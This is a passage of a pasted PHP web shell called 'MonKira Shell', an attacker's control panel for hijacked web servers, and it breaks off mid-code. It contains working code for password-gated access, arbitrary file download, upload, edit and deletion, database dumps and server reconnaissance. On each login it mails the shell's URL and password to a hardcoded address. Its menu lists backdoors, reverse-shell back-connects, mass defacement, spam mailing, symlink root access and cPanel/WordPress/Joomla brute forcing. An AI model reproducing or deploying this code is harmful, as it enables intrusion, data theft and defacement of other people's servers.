· 10 years ago · Aug 12, 2016, 08:48 AM
1<?php $MonKiraPW ='123';?>
2<?php
3error_reporting(7);
4@set_magic_quotes_runtime(0);
5ob_start();
6$mtime = explode(' ', microtime());
7$starttime = $mtime[1] + $mtime[0];
8define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)) . '/');
9define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
10define('IS_COM', class_exists('COM') ? 1 : 0);
11define('IS_GPC', get_magic_quotes_gpc());
12$dis_func = get_cfg_var('disable_functions');
13define('IS_PHPINFO', (!eregi("phpinfo", $dis_func)) ? 1 : 0);
14@set_time_limit(0);
15foreach (array(
16 '_GET',
17 '_POST'
18) as $_request) {
19 foreach ($$_request as $_key => $_value) {
20 if ($_key{0} != '_') {
21 if (IS_GPC) {
22 $_value = s_array($_value);
23 }
24 $$_key = $_value;
25 }
26 }
27}
28$admin = array();
29$admin['check'] = true;
30$admin['pass'] = $MonKiraPW;
31$admin['cookiepre'] = '';
32$admin['cookiedomain'] = '';
33$admin['cookiepath'] = '/';
34$admin['cookielife'] = 86400; //1 ngày
35if ($charset == 'utf8') {
36 header("content-Type: text/html; charset=utf-8");
37} elseif ($charset == 'big5') {
38 header("content-Type: text/html; charset=big5");
39} elseif ($charset == 'gbk') {
40 header("content-Type: text/html; charset=gbk");
41} elseif ($charset == 'latin1') {
42 header("content-Type: text/html; charset=iso-8859-2");
43}
44$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
45$timestamp = time();
46if ($action == "logout") {
47 scookie('monkira', '', -86400 * 365); // cookie này giá trị là rỗng, thời hạn 1 năm
48 p('<meta http-equiv="refresh" content="0;URL=' . $self . '">');
49 p('<body background=black>');
50 exit;
51}
52if ($admin['check']) {
53 if ($doing == 'login') {
54 if ($admin['pass'] == $password) {
55 scookie('monkira', $password);
56 $time_shell = "" . date("d/m/Y - H:i:s") . "";
57 $ip_remote = $_SERVER["REMOTE_ADDR"];
58 $from_shellcode = 'shell@' . gethostbyname($_SERVER['SERVER_NAME']) . '';
59 $to_email = 'daokeo123099@gmail.com';
60 //
61 $server_mail = "" . gethostbyname($_SERVER['SERVER_NAME']) . " - " . $_SERVER['HTTP_HOST'] . "";
62 $linkcr = "Link: " . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . " - IP Excuting: $ip_remote - Time: $time_shell - Pwd: $password";
63 $header = "From: $from_shellcode
64Reply-to: $from_shellcode";
65 @mail($to_email, $server_mail, $linkcr, $header);
66 p('<meta http-equiv="refresh" content="2;URL=' . $self . '">');
67 p('<body bgcolor=black><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
68<BR><BR><div align=center><font color=#18a2d0 face="tahoma" size=3><b>Chào MonKira!!! Chúc MonKira làm việc vui vẻ !!!</b><BR><img src=http://i1065.photobucket.com/albums/u391/MonKira/monkira_zpsyy5fcjub.gif></div>');
69 exit;
70 } else {
71 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Mật khẩu sai, MonKira!!!</blink><BR></font></div></td></tr></table>';
72 echo $err_mess;
73 }
74 }
75 if ($_COOKIE['monkira']) {
76 if ($_COOKIE['monkira'] != $admin['pass']) {
77 loginpage();
78 }
79 } else {
80 loginpage();
81 }
82}
83$errmsg = '';
84if ($action == 'phpinfo') {
85 if (IS_PHPINFO) {
86 phpinfo();
87 } else {
88 $errmsg = 'phpinfo() function has non-permissible';
89 }
90}
91if ($doing == 'downfile' && $thefile) {
92 if (!@file_exists($thefile)) {
93 $errmsg = 'The file you want Downloadable was nonexistent';
94 } else {
95 $fileinfo = pathinfo($thefile);
96 header('Content-type: application/x-' . $fileinfo['extension']);
97 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
98 header('Content-Length: ' . filesize($thefile));
99 @readfile($thefile);
100 exit;
101 }
102}
103if ($doing == 'backupmysql' && !$saveasfile) {
104 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
105 $table = array_flip($table);
106 $result = q("SHOW tables");
107 if (!$result)
108 p('<h2>' . mysql_error() . '</h2>');
109 $filename = basename($_SERVER['HTTP_HOST'] . '_MySQL.sql');
110 header('Content-type: application/unknown');
111 header('Content-Disposition: attachment; filename=' . $filename);
112 $mysqldata = '';
113 while ($currow = mysql_fetch_array($result)) {
114 if (isset($table[$currow[0]])) {
115 $mysqldata .= sqldumptable($currow[0]);
116 }
117 }
118 mysql_close();
119 exit;
120}
121if ($doing == 'mysqldown') {
122 if (!$dbname) {
123 $errmsg = ' dbname';
124 } else {
125 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
126 if (!file_exists($mysqldlfile)) {
127 $errmsg = 'The file you want Downloadable was nonexistent';
128 } else {
129 $result = q("select load_file('$mysqldlfile');");
130 if (!$result) {
131 q("DROP TABLE IF EXISTS tmp_angel;");
132 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
133 q("LOAD DATA LOCAL INFILE '" . addslashes($mysqldlfile) . "' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
134 $result = q("select content from tmp_angel");
135 q("DROP TABLE tmp_angel");
136 }
137 $row = @mysql_fetch_array($result);
138 if (!$row) {
139 $errmsg = 'Load file failed ' . mysql_error();
140 } else {
141 $fileinfo = pathinfo($mysqldlfile);
142 header('Content-type: application/x-' . $fileinfo['extension']);
143 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
144 header("Accept-Length: " . strlen($row[0]));
145 echo $row[0];
146 exit;
147 }
148 }
149 }
150}
151?>
152 <?php
153 //setup php for working with Unicode data
154mb_internal_encoding('UTF-8');
155mb_http_output('UTF-8');
156mb_http_input('UTF-8');
157mb_language('uni');
158mb_regex_encoding('UTF-8');
159ob_start('mb_output_handler');
160echo '<html>
161<head>
162<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
163<title>.:: MonKira Shell ::. </title>
164<style type="text/css">
165body,td{font-family:Tahoma;font-size:12px;color:#00dcff;line-height: 16px;font-weight: bold;}
166
167a {color: #00FF7F;text-decoration:none;}
168a:hover{color: yellow;text-decoration:underline;}
169.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:black;padding:5px 10px 5px 5px;}
170.alt2 td{border-top:1px solid gray;border-bottom:1px solid red;background:black;padding:5px 10px 5px 5px;}
171.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(255, 0, 0, 0.65);padding:5px 10px 5px 5px;}
172.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(82, 0, 255, 0.37);padding:5px 10px 5px 5px;}
173.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
174.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:rgba(0, 0, 255, 0.65);padding:5px 10px 5px 5px;font-weight:bold;}
175.head_small td{font-family:Arial; border-top:1px solid gray;border-bottom:1px solid gray;padding:5px 10px 5px 5px;font-weight:bold;font-size:8pt;}
176.head td span{font-weight:normal;}
177form{margin:0;padding:0;}
178h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
179ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
180u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
181input, textarea, button
182{
183 font-size: 9pt;
184 color: #FFF;
185 font-family: verdana, sans-serif;
186 background-color: rgba(255, 0, 0, 0.61);
187 border-left: 1px solid #74A202;
188 border-top: 1px solid #74A202;
189 border-right: 1px solid #74A202;
190 border-bottom: 1px solid #74A202;
191}
192select
193{
194 font-size: 8pt;
195 font-weight: normal;
196 color: #ccc;
197 font-family: verdana, sans-serif;
198 background-color: #202020;
199}
200
201 @-webkit-keyframes monkira11{
202 1% {opacity: 0.0;}
203 25% {opacity: 0.3;}
204 50% {opacity: 0.1;}
205 75% {opacity: 0.7;}
206 100 {opacity: 1;}
207 }
208</style>
209<script type="text/javascript">
210function CheckAll(form) {
211 for(var i=0;i<form.elements.length;i++) {
212 var e = form.elements[i];
213 if (e.name != \'chkall\')
214 e.checked = form.chkall.checked;
215 }
216}
217function $(id) {
218 return document.getElementById(id);
219}
220function goaction(act){
221 $(\'goaction\').action.value=act;
222 $(\'goaction\').submit();
223}
224</script>
225</head>
226<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://wallpapercave.com/wp/4oR9nJi.jpg>
227<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
228 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
229 <tr>
230 <td align="center" valign=center>
231 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
232 MonKira<img src="http://i1065.photobucket.com/albums/u391/MonKira/monkira_zpsyy5fcjub.gif">
233 </div>
234 </td>
235 </tr>
236 </table>
237</div>
238 <script>
239 var ld=(document.all);
240 var ns4=document.layers;
241 var ns6=document.getElementById&&!document.all;
242 var ie4=document.all;
243 if (ns4)
244 ld=document.loading;
245 else if (ns6)
246 ld=document.getElementById("loading").style;
247 else if (ie4)
248 ld=document.all.loading.style;
249 function init()
250 {
251 if(ns4){ld.visibility="hidden";}
252 else if (ns6||ie4) ld.display="none";
253 }
254 </script>
255<table width="100%" border="0" cellpadding="0" cellspacing="0">
256 <tr class="head_small">
257 <td width=100%>
258 <table width=100%><tr class="head_small"><td width="150px">
259 <a href="<?php $self;?>"><img style="-webkit-animation: monkira11 1s infinite" src="http://i1065.photobucket.com/albums/u391/MonKira/YonDolly_zpsnpalmlax.jpg" border=0 width="260" height="180"></a></td>
260 <td>
261
262 <span style="float:left;"> ';echo "<font color=#ff0082>Hostname: </font><font color=aqua>".$_SERVER['HTTP_HOST']."<font>";;echo ' | Server IP: ';echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";echo ' | Your IP: ';echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";;echo ' | <a href="https://www.facebook.com/monkira.hs" target="_blank">';echo str_replace('.','','Contac MonKira');;echo ' </a> | <a href="javascript:goaction(\'logout\');"><font color=red>Đăng Xuất</font></a> | <a href="javascript:goaction(\'kill\');"> <font color=aqua right=13px><b>Kill Shell</b></font></a></span> <br />
263
264 ';
265
266
267$curl_on = @function_exists('curl_version');
268$mysql_on = @function_exists('mysql_connect');
269$mssql_on = @function_exists('mssql_connect');
270$pg_on = @function_exists('pg_connect');
271$ora_on = @function_exists('ocilogon');
272echo (($safe_mode) ? ("Safe_mod: <b><font color=green>Mở</font></b> - ") : ("Safe_mod: <b><font color=red>Đóng</font></b> - "));
273echo "PHP version: <b>" . @phpversion() . "</b> - ";
274echo "cURL: " . (($curl_on) ? ("<b><font color=green>Mở</font></b> - ") : ("<b><font color=red>Đóng</font></b> - "));
275echo "MySQL: <b>";
276$mysql_on = @function_exists('mysql_connect');
277if ($mysql_on) {
278 echo "<font color=green>Mở</font></b> - ";
279} else {
280 echo "<font color=red>Đóng</font></b> - ";
281}
282echo "MSSQL: <b>";
283$mssql_on = @function_exists('mssql_connect');
284if ($mssql_on) {
285 echo "<font color=green>Mở</font></b> - ";
286} else {
287 echo "<font color=red>Đóng</font></b> - ";
288}
289echo "PostgreSQL: <b>";
290$pg_on = @function_exists('pg_connect');
291if ($pg_on) {
292 echo "<font color=green>Mở</font></b> - ";
293} else {
294 echo "<font color=red>Đóng</font></b> - ";
295}
296echo "Oracle: <b>";
297$ora_on = @function_exists('ocilogon');
298if ($ora_on) {
299 echo "<font color=green>Mở</font></b>";
300} else {
301 echo "<font color=red>Đóng</font></b><BR>";
302}
303echo "Disable functions : <b>";
304if ('' == ($df = @ini_get('disable_functions'))) {
305 echo "<font color=green>KHÔNG</font></b><BR>";
306} else {
307 echo "<font color=red>$df</font></b><BR>";
308}
309
310echo "<font color=#ff4e00 site=3>Uname -a</font>: <font color=violet>" . @substr(@php_uname(), 0, 120) . "</font>";
311$kernel = @php_uname();
312echo " - <a href=https://www.google.com.vn/search?q=Linux+Exploit+kernel+" .urlencode(@php_uname(r))." target='_blank'><font color=yellow><b>[Kernel Exploi]</b></font><br></a>";
313echo "<font color=#ff4e00>Server</font>: " . @substr($SERVER_SOFTWARE, 0, 120) . " - <font color=#6eff00>id</font>: " . @getmyuid() . "(" . @get_current_user() . ") - <font color=fff400>uid=" . @getmyuid() . " (" . @get_current_user() . ") </font><font color=15ff00>gid=" . @getmygid() . "(" . @get_current_user() . ")</font><br><a href=javascript:goaction('phpini');><font color=#ff0082>--PHP.INI--</font>
314<a href=javascript:goaction('phpinfo');><font color=yellow>--[PHP INFO]--</font></a>
315<a href=http://www.bing.com/search?q=ip:" .urlencode(gethostbyname($_SERVER['SERVER_NAME']))." target='_blank'><font color=aqua>--[Bing IP]--</font></a>";
316?></td></tr></table></td>
317 </tr>
318
319 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
320 <tr class="alt1">
321 <td width=10%><style>
322 #abt-nav,#abt-nav ul {
323 list-style: none outside none;
324 margin: 0;
325 padding: 0;
326}
327#abt-nav {
328 background: url('http://i1065.photobucket.com/albums/u391/MonKira/Menu1_zpsbptloe3g.png');
329 clear: both;
330 font-size: 12px;
331 height: 45px;
332 padding: 0 0 0 15px;
333 position: relative;
334 width: 100%;
335}
336#abt-nav ul {
337 background-color: #222;
338 border:1px solid #222;
339 border-radius: 0 5px 5px 5px;
340 border-width: 0 1px 1px;
341 box-shadow: 0 5px 5px rgba(0, 0, 0, 0.5);
342 left: -9999px;
343 overflow: hidden;
344 position: absolute;
345 top: -9999px;
346 z-index: 2;
347 -moz-transform: scaleY(0);
348 -ms-transform: scaleY(0);
349 -o-transform: scaleY(0);
350 -webkit-transform: scaleY(0);
351 transform: scaleY(0);
352 -moz-transform-origin: 0 0;
353 -ms-transform-origin: 0 0;
354 -o-transform-origin: 0 0;
355 -webkit-transform-origin: 0 0;
356 transform-origin: 0 0;
357 -moz-transition: -moz-transform 0.1s linear;
358 -ms-transition: -ms-transform 0.1s linear;
359 -o-transition: -o-transform 0.1s linear;
360 -webkit-transition: -webkit-transform 0.1s linear;
361 transition: transform 0.1s linear;
362}
363#abt-nav li {
364 background: url('http://4.bp.blogspot.com/-3KmCMhrXTqg/VJN8Vdc3FaI/AAAAAAAABWA/chuPnYYih2Y/s1600/Menu2.png') no-repeat scroll right 5px transparent;
365 float: left;
366 position: relative;
367}
368#abt-nav li a {
369 color: #FFFFFF;
370 display: block;
371 float: left;
372 font-weight: normal;
373 height: 30px;
374 padding: 23px 20px 0;
375 position: relative;
376 text-decoration: none;
377 text-shadow: 1px 1px 1px #000000;
378}
379#abt-nav li:hover > a {
380 color: #00B4FF;
381}
382#abt-nav li:hover, #abt-nav a:focus, #abt-nav a:hover, #abt-nav a:active {
383 background: none repeat scroll 0 0 #121212;
384 outline: 0 none;
385}
386#abt-nav li:hover ul.subs {
387 left: 0;
388 top: 53px;
389 width: 180px;
390 -moz-transform: scaleY(1);
391 -ms-transform: scaleY(1);
392 -o-transform: scaleY(1);
393 -webkit-transform: scaleY(1);
394 transform: scaleY(1);
395}
396#abt-nav ul li {
397 background: none;
398 width: 100%;
399}
400#abt-nav ul li a {
401 float: none;
402}
403#abt-nav ul li:hover > a {
404 background-color: #121212;
405 color: #00B4FF;
406}
407#lavalamp {
408 background: url('http://1.bp.blogspot.com/-8IK_bj0a8D8/VJN8VWkwVHI/AAAAAAAABVw/CCv-Pyt7noE/s1600/Menu3.png') no-repeat scroll 0 0 transparent;
409 height: 16px;
410 left: 13px;
411 position: absolute;
412 top: 0px;
413 width: 64px;
414 -moz-transition: all 300ms ease;
415 -ms-transition: all 300ms ease;
416 -o-transition: all 300ms ease;
417 -webkit-transition: all 300ms ease;
418 transition: all 300ms ease;
419}
420#lavalamp:hover {
421 -moz-transition-duration: 3000s;
422 -ms-transition-duration: 3000s;
423 -o-transition-duration: 3000s;
424 -webkit-transition-duration: 3000s;
425 transition-duration: 3000s;
426}
427
428#abt-nav li:nth-of-type(1):hover ~ #lavalamp {
429 left: 17px;
430}
431#abt-nav li:nth-of-type(2):hover ~ #lavalamp {
432 left: 103px;
433}
434#abt-nav li:nth-of-type(3):hover ~ #lavalamp {
435 left: 178px;
436}
437#abt-nav li:nth-of-type(4):hover ~ #lavalamp {
438 left: 262px;
439}
440#abt-nav li:nth-of-type(5):hover ~ #lavalamp {
441 left: 344px;
442}
443#abt-nav li:nth-of-type(6):hover ~ #lavalamp {
444 left: 425px;
445}
446#abt-nav li:nth-of-type(7):hover ~ #lavalamp {
447 left: 522px;
448}
449#abt-nav li:nth-of-type(8):hover ~ #lavalamp {
450 left: 615px;
451}
452#abt-nav li:nth-of-type(9):hover ~ #lavalamp {
453 left: 705px;
454}
455#abt-nav li:nth-of-type(10):hover ~ #lavalamp {
456 left: 795px;
457}
458#abt-nav li:nth-of-type(11):hover ~ #lavalamp {
459 left: 900px;
460}
461#abt-nav li:nth-of-type(12):hover ~ #lavalamp {
462 left: 1005px;
463}
464#abt-nav li:nth-of-type(13):hover ~ #lavalamp {
465 left: 1100px;
466}
467#abt-nav li:nth-of-type(14):hover ~ #lavalamp {
468 left: 1190px;
469}
470#abt-nav li:nth-of-type(15):hover ~ #lavalamp {
471 left: 1287px;
472}
473#abt-nav li:nth-of-type(16):hover ~ #lavalamp {
474 left: 1377px;
475}
476#abt-nav li:nth-of-type(17):hover ~ #lavalamp {
477 left: 1475px;
478}
479#abt-nav li:nth-of-type(18):hover ~ #lavalamp {
480 left: 195px;
481}
482#abt-nav li:nth-of-type(19):hover ~ #lavalamp {
483 left: 1610px;
484}
485 </style>
486 <ul id="abt-nav">
487 <li><a href="javascript:goaction('file');"><font color=#FFFF00>Trang chủ</font></a></li>
488 <li><a href="javascript:goaction('sqladmin');"><font color=#C38EC7>SQL</font></a></li>
489 <li><a href="javascript:goaction('etcpwd');"><font color=#EEE0E5>Get user</font></a></li>
490 <li><a class="hsubs" href="#"><font color=#FF3300>CGI Shell</font></a>
491 <ul class="subs">
492 <li><a href="javascript:goaction('log');" target="_blank" >CGI Shell Telnet (.log)</a></li>
493 <li><a href="javascript:goaction('pl');" target="_blank">CGI Shell Telnet (.pl)</a></li>
494 <li><a href="javascript:goaction('sa');" target="_blank">CGI Shell .sa</a></li>
495 <li><a href="javascript:goaction('cin');" target="_blank">CGI Shell .cin</a></li>
496 <li><a href="javascript:goaction('izo');" target="_blank">CGI Shell .izo</a></li>
497 <li><a href="javascript:goaction('shtml');" target="_blank">SSI Shell .shtml</a></li>
498 </ul>
499 </li>
500
501
502 <li><a class="hsubs" href="#"><font color=#52F3FF>Tools</font></a>
503 <ul class="subs">
504 <li><a href="javascript:goaction('md5');">Encode Md5</a></li>
505 <li><a href="javascript:goaction('spam');">Spam Mail</a></li>
506 <li><a href="javascript:goaction('zipcode');">Zip Code</a></li>
507 <li><a href="javascript:goaction('priv8');">Priv8 Python</a></li>
508 <li><a href="javascript:goaction('pack');">Shell Pack</a></li>
509 <li><a href="javascript:goaction('huongdan');">TUT SQLi</a></li>
510 <li><a href="javascript:goaction('exlocal');">TUT Local</a></li>
511
512 </ul>
513
514 </li>
515 <li><a href="javascript:goaction('symroot');"><font color=#5EFB6E>Get Root</font></a></li>
516 <li><a href="sym/" target="_blank"><font color=#FF3030>Mở Sym-Root</font> </a></li>
517 <li><a class="hsubs" href="#"><font color=#FF00FF>Symlink</font></a>
518 <ul class="subs">
519 <li><a href="javascript:goaction('symljnk');">Domain-User</a></li>
520 <li><a href="javascript:goaction('symtool');">Symlink Tools</a></li>
521 <li><a href="javascript:goaction('fakesym');">Fake Symlink</a></li>
522 </ul>
523 </li>
524
525 <li><a href="javascript:goaction('scan');"><font color=#00F5FF>Scan Shell</font></a></li>
526 <li><a href="javascript:goaction('reverseip');"><font color=#FF8C00>Reverse IP </font></a></li>
527 <li><a class="hsubs" href="#"><font color=#00abff>Mass Deface</font></a>
528 <ul class="subs">
529 <li><a href="javascript:goaction('mass');">With Root</a></li>
530 <li><a href="javascript:goaction('massfd');">User Folder</a></li>
531
532
533 </ul>
534 </li>
535 <li><a class="hsubs" href="#"><font color=#6CC417>Command</font></a>
536 <ul class="subs">
537 <li><a href="javascript:goaction('command');">Execute Command</a></li>
538 <li><a href="javascript:goaction('termi');">DIE Group Terminal</a></li>
539 </ul></li>
540 <li><a href="#"><font color=#EE3B3B>Back Door</font></a>
541 <ul class="subs">
542 <li><a href="javascript:goaction('backdoor');">Back Door PHP</a></li>
543 <li><a href="javascript:goaction('weevely');">Back Door Weevely</a></li>
544
545 </ul></li>
546 <li><a href="javascript:goaction('df');"><font color=#FF69B4>Deface</font></a></li>
547 <li><a href="#;"><font color=#ADFF2F>Back Connect</font></a>
548 <ul class="subs">
549 <li><a href="javascript:goaction('backconnect');">Back Conect Perl/C</a></li>
550 <li><a href="javascript:goaction('bcphp');">Back Conect PHP</a></li>
551 </ul>
552
553 </li>
554 <li><a class="hsubs" href="#"><font color=#6CC417>Brute</font></a>
555 <ul class="subs">
556 <li><a href="javascript:goaction('brute');" >Brute Cpanel</a></li>
557 <li><a href="javascript:goaction('joomla');" >Brute Joomla</a></li>
558 <li><a href="javascript:goaction('brutewp');" >Brute Wordpress</a></li>
559 </ul>
560 </li>
561 <li><a href="javascript:goaction('find');"><font color=#52F3FF>Tìm link Admin</font></a></li>
562
563 <div id="lavalamp"></div>
564</ul>
565
566 </td>
567 </tr>
568</table>
569<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
570<?php
571//setup php for working with Unicode data
572mb_internal_encoding('UTF-8');
573mb_http_output('UTF-8');
574mb_http_input('UTF-8');
575mb_language('uni');
576mb_regex_encoding('UTF-8');
577ob_start('mb_output_handler');
578formhead(array(
579 'name' => 'goaction'
580));
581makehide('action');
582formfoot();
583$errmsg && m($errmsg);
584!$dir && $dir = '.';
585$nowpath = getPath(SA_ROOT, $dir);
586if (substr($dir, -1) != '/') {
587 $dir = $dir . '/';
588}
589$uedir = ue($dir);
590if (!$action || $action == 'file') {
591 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
592 if ($doing == 'deldir' && $thefile) {
593 if (!file_exists($thefile)) {
594 m($thefile . ' directory does not exist');
595 } else {
596 m('Thư mục được xóa ' . (deltree($thefile) ? basename($thefile) . ' thành công' : 'thất bại'));
597 }
598 } elseif ($newdirname) {
599 $mkdirs = $nowpath . $newdirname;
600 if (file_exists($mkdirs)) {
601 m('Thư mục đã tồn tại');
602 } else {
603 m('Thư mục được tạo ' . (@mkdir($mkdirs, 0777) ? 'thành công' : 'thất bại'));
604 @chmod($mkdirs, 0777);
605 }
606 } elseif ($doupfile) {
607 m('File tải lên ' . (@copy($_FILES['uploadfile']['tmp_name'], $uploaddir . '/' . $_FILES['uploadfile']['name']) ? 'thành công' : 'thất bại'));
608 } elseif ($editfilename && $filecontent) {
609 $fp = @fopen($editfilename, 'w');
610 m('Lưu file ' . (@fwrite($fp, $filecontent) ? 'thành công' : 'thất bại'));
611 @fclose($fp);
612 } elseif ($pfile && $newperm) {
613 if (!file_exists($pfile)) {
614 m('The original file does not exist');
615 } else {
616 $newperm = base_convert($newperm, 8, 10);
617 m('Thay đổi phân quyền ' . (@chmod($pfile, $newperm) ? 'thành công' : 'Thất bại'));
618 }
619 } elseif ($oldname && $newfilename) {
620 $nname = $nowpath . $newfilename;
621 if (file_exists($nname) || !file_exists($oldname)) {
622 m($nname . ' has already existed or original file does not exist');
623 } else {
624 m(basename($oldname) . ' Đổi tên ' . basename($nname) . (@rename($oldname, $nname) ? ' thành công' : 'thất bại'));
625 }
626 } elseif ($sname && $tofile) {
627 if (file_exists($tofile) || !file_exists($sname)) {
628 m('The goal file has already existed or original file does not exist');
629 } else {
630 m(basename($tofile) . ' Sao chép ' . (@copy($sname, $tofile) ? basename($tofile) . ' thành công' : 'thất bại'));
631 }
632 } elseif ($curfile && $tarfile) {
633 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
634 m('The goal file has already existed or original file does not exist');
635 } else {
636 $time = @filemtime($tarfile);
637 m('Thay đổi thời gian sửa file ' . (@touch($curfile, $time, $time) ? 'thành công' : 'thất bại'));
638 }
639 } elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
640 if (!@file_exists($curfile)) {
641 m(basename($curfile) . ' does not exist');
642 } else {
643 $time = strtotime("$year-$month-$day $hour:$minute:$second");
644 m('Thay đổi thời gian sửa file ' . (@touch($curfile, $time, $time) ? 'thành công' : 'thất bại'));
645 }
646 } elseif ($doing == 'downrar') {
647 if ($dl) {
648 $dfiles = '';
649 foreach ($dl as $filepath => $value) {
650 $dfiles .= $filepath . ',';
651 }
652 $dfiles = substr($dfiles, 0, strlen($dfiles) - 1);
653 $dl = explode(',', $dfiles);
654 $zip = new PHPZip($dl);
655 $code = $zip->out;
656 header('Content-type: application/octet-stream');
657 header('Accept-Ranges: bytes');
658 header('Accept-Length: ' . strlen($code));
659 header('Content-Disposition: attachment;filename=' . $_SERVER['HTTP_HOST'] . '_Files.tar.gz');
660 echo $code;
661 exit;
662 } else {
663 m('Xin hãy chọn file');
664 }
665 } elseif ($doing == 'delfiles') {
666 if ($dl) {
667 $dfiles = '';
668 $succ = $fail = 0;
669 foreach ($dl as $filepath => $value) {
670 if (@unlink($filepath)) {
671 $succ++;
672 } else {
673 $fail++;
674 }
675 }
676 m('Xóa >> thành công ' . $succ . ' thất bại ' . $fail);
677 } else {
678 m('Xin hãy chọn file');
679 }
680 }
681 formhead(array(
682 'name' => 'createdir'
683 ));
684 makehide('newdirname');
685 makehide('dir', $nowpath);
686 formfoot();
687 formhead(array(
688 'name' => 'fileperm'
689 ));
690 makehide('newperm');
691 makehide('pfile');
692 makehide('dir', $nowpath);
693 formfoot();
694 formhead(array(
695 'name' => 'copyfile'
696 ));
697 makehide('sname');
698 makehide('tofile');
699 makehide('dir', $nowpath);
700 formfoot();
701 formhead(array(
702 'name' => 'rename'
703 ));
704 makehide('oldname');
705 makehide('newfilename');
706 makehide('dir', $nowpath);
707 formfoot();
708 formhead(array(
709 'name' => 'fileopform'
710 ));
711 makehide('action');
712 makehide('opfile');
713 makehide('dir');
714 formfoot();
715 $free = @disk_free_space($nowpath);
716 !$free && $free = 0;
717 $all = @disk_total_space($nowpath);
718 !$all && $all = 0;
719 $used = $all - $free;
720 $used_percent = @round(100 / ($all / $free), 2);
721 p('<font color=yellow face=tahoma size=2><B>Quản lí dữ liệu</b> </font> Ổ đĩa còn trống <font color=red>' . sizecount($free) . '</font> of <font color=red>' . sizecount($all) . '</font> (<font color=red>' . $used_percent . '</font>%)</font>');
722?><table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
723 <form action="" method="post" id="godir" name="godir">
724 <tr>
725 <td nowrap>Directory (<?php
726 echo $dir_writeable;
727?>, <?php
728 echo getChmod($nowpath);
729?>)</td>
730 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php
731 echo $nowpath;
732?>" type="text" style="width:100%;margin:0 8px;"></td>
733 <td nowrap><input class="bt" value="MonKira" type="submit"></td>
734 </tr>
735 </form>
736 </table>
737 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
738 <script type="text/javascript">
739function createdir(){
740 var newdirname;
741 newdirname = prompt('directory name:', '');
742 if (!newdirname) return;
743 $('createdir').newdirname.value=newdirname;
744 $('createdir').submit();
745}
746function fileperm(pfile){
747 var newperm;
748 newperm = prompt('Path của file/folder:'+pfile+'\n Thuộc tính mới:', '');
749 if (!newperm) return;
750 $('fileperm').newperm.value=newperm;
751 $('fileperm').pfile.value=pfile;
752 $('fileperm').submit();
753}
754function copyfile(sname){
755 var tofile;
756 tofile = prompt('Path file cũ:'+sname+'\n Path file mới (ghi đầy đủ path):', '');
757 if (!tofile) return;
758 $('copyfile').tofile.value=tofile;
759 $('copyfile').sname.value=sname;
760 $('copyfile').submit();
761}
762function rename(oldname){
763 var newfilename;
764 newfilename = prompt('Path folder cũ:'+oldname+'\n Tên mới:', '');
765 if (!newfilename) return;
766 $('rename').newfilename.value=newfilename;
767 $('rename').oldname.value=oldname;
768 $('rename').submit();
769}
770function dofile(doing,thefile,m){
771 if (m && !confirm(m)) {
772 return;
773 }
774 $('filelist').doing.value=doing;
775 if (thefile){
776 $('filelist').thefile.value=thefile;
777 }
778 $('filelist').submit();
779}
780function createfile(nowpath){
781 var filename;
782 filename = prompt('file name:', '');
783 if (!filename) return;
784 opfile('editfile',nowpath + filename,nowpath);
785}
786function opfile(action,opfile,dir){
787 $('fileopform').action.value=action;
788 $('fileopform').opfile.value=opfile;
789 $('fileopform').dir.value=dir;
790 $('fileopform').submit();
791}
792function godir(dir,view_writable){
793 if (view_writable) {
794 $('godir').view_writable.value=1;
795 }
796 $('godir').dir.value=dir;
797 $('godir').submit();
798}
799</script>
800 <?php
801 //setup php for working with Unicode data
802mb_internal_encoding('UTF-8');
803mb_http_output('UTF-8');
804mb_http_input('UTF-8');
805mb_language('uni');
806mb_regex_encoding('UTF-8');
807ob_start('mb_output_handler');
808 tbhead();
809 p('<form action="' . $self . '" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
